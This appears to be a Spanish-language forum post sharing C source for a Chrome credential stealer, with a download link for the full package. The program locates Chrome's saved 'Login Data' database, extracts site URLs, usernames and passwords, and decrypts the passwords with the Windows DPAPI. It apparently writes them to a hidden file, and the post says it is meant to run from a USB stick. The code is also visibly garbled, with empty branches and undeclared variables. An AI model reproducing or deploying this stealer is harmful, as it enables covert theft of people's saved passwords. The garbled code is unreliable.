El hecho en ASM por Fary depende de la librería sqlite3.dll.
(EDITO)
Código
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include "sqlite3.c" #define AUTHOR "Mester" char CurUser[40]; void ChromeDirectory(char *Disk, char *cDir) { DWORD I = 40; GetUserName(CurUser, &I); sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser); } int main() { int Write = 1; char *Query = "SELECT origin_url, username_value, password_value FROM logins"; const char *Bar = "-----------------------------------"; FILE *sf; DATA_BLOB DataIn, DataOut; sqlite3 *DB; sqlite3_stmt *Stmt; ChromeDirectory("C:\\", cDir); if(sqlite3_open(cDir, &DB) != SQLITE_OK) { ChromeDirectory("D:\\", cDir); if(sqlite3_open(cDir, &DB) != SQLITE_OK) { ChromeDirectory("E:\\", cDir); if(sqlite3_open(cDir, &DB) != SQLITE_OK) { Sleep(1000); return 1; } } } if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK) { Sleep(1000); return 1; } if(sf == NULL) Write = 0; while(sqlite3_step(Stmt) == SQLITE_ROW) { cData = sqlite3_column_text(Stmt, 0); if(Write) else cData = sqlite3_column_text(Stmt, 1); if(Write) else DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2); DataIn.cbData = sqlite3_column_bytes(Stmt, 2); CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut); DataOut.pbData[DataOut.cbData] = '\0'; if(Write) else } if(Write) { SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN); } return 0; }
Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero.
Aquí un zip con todo:
https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing